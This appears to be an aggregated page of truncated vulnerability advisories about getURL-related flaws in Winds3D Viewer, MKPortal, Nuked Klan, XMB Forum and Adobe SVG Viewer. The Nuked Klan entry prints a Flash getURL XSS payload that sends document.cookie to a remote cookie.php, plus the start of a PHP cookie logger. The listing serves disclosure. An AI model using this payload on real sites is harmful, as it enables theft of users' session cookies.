Winds3D Viewer GetURL()函数远程代码执行漏洞

BUGTRAQ ID: 35595 CVECAN ID: CVE-2009-2386 Awakening是一个功能强大的实时3D解决方案，Winds3D Viewer是Awakening的浏览器插件。 Winds3D Viewer以不安全的方式实现了GetURL函数： /----------- GetURLstring URL Description: Open browser to visit assigned URL returns: None - -----------/ 调用GetURL最终会执行相当于“ShellExecuteNULL, "open", URL, 0, 0,...

CVE-2009-2386: Improper Input Validation

Insecure method vulnerability in Awingsoft Awakening Winds3D Viewer plugin 3.5.0.0, 3.0.0.5, and possibly other versions allows remote attackers to force the download and execution of arbitrary files via the GetURL method...

CVE-2007-0192

The CVE-2007-0192 CSRF vulnerability affects MKPortal’s admin.php in the save_main operation (ad_perms) where an attacker can induce privilege changes. The issue is exposed via a crafted getURL in a .swf loaded in an IFRAME, enabling remote modification of privilege settings (All Guests are Admin...

CVE-2007-0083

CVE-2007-0083 affects Nuked Klan 1.7 and earlier. The vulnerability is a cross-site scripting (XSS) flaw exploitable via a javascript: URI in a getURL statement within a .swf file, enabling remote script/HTML injection as demonstrated by “Remote Cookie Disclosure.” The NVD entry lists a CVSS v2 b...

Nuked Klan任意.SWF文件COOKIE窃取漏洞

Nuked Klan是一款基于ASP的WEB应用程序。 Nuked Klan处理.swf文件存在问题，远程攻击者可以利用漏洞获取其他目标用户的敏感COOKIE信息。 构建一个.swf文件，放置如下代码： getURL"javascript:alert'document.location="http://site.com/cookie.php? cookie="+document.cookie';"; 或者 ?php $cookie = $GET'cookie'; $ip = getenv 'REMOTEADDR'; $date=date"m/d/Y g:i:s a";...

CVE-2007-0083: Undefined Security Weakness

Cross-site scripting XSS vulnerability in Nuked Klan 1.7 and earlier allows remote attackers to inject arbitrary web script or HTML via a javascript: URI in a getURL statement in a .swf file, as demonstrated by "Remote Cookie Disclosure." NOTE: it could be argued that this is an issue in Shockwav...

The use of Sina, Sohu domain steering-vulnerability warning-the black bar safety net

Article author: light and shadow Sources of information: the Red wolf security group www.wolfexp.net） To 1. Sina blog is an unfiltered script That simple point of it, the previous time to engage google cheat time want to use sina domain name turning. Because the blog's pr value is generally high,...

CVE-2006-1748: Undefined Security Weakness

Cross-site scripting XSS vulnerability in XMB Forum 1.9.5 allows remote attackers to inject arbitrary web script or HTML by uploading a Flash .SWF video that contains a getURL function call, which causes the video to be rendered without disabling ActionScript...

Adobe SVG Viewer 3.0 - postURLgetURL Restriction Bypass

Adobe SVG Viewer 3.0 - postURLgetURL Restriction Bypass source: https://www.securityfocus.com/bid/8785/info Adobe SVG Viewer ASV is prone to an issue in the implementation of the getURL and postURL methods. These methods are designed to prevent access to URIs in a foreign domain or local files...